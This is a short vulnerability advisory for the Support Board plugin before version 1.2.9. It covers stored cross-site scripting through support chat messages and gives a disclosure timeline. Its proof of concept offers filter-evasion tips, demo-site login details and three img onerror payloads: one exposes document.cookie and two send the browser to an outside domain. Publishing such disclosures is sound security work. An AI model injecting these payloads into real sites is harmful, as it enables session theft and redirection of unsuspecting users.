Support Board < 1.2.9 – Authenticated Stored Cross-Site Scripting

Description

The plugin does not sanitise and escape message sent in the support chat, which could lead to Stored Cross-Site Scripting issues

Timeline (WPScan Team):
June 11th - Issue submitted to Envato
June 17th - Envato Support confirmed they are investigating the issue
June 17th - New version released with Fix (1.2.9)

Proof of Concept

Don't use double quotes inside your payload - they'll be filtered. Avoid to use specific protocol type like http: or https: - your payload will be broken.

Go to the demo website https://board.support/desk-demo/?login=true and log in with provided credentials (demo@board.support / demo). Most stable and usefull attack vector is to use the <img> tag with your payload inside, and put it in the support chat, check the provided examples below.

Example #1: <img src=x onerror=alert(document.cookie)>
Example #2: <img src=x onerror=alert('m0ze');window.open('//m0ze.ru/')>
Example #3: <img src=x onerror=alert('m0ze');window.location='//m0ze.ru/'>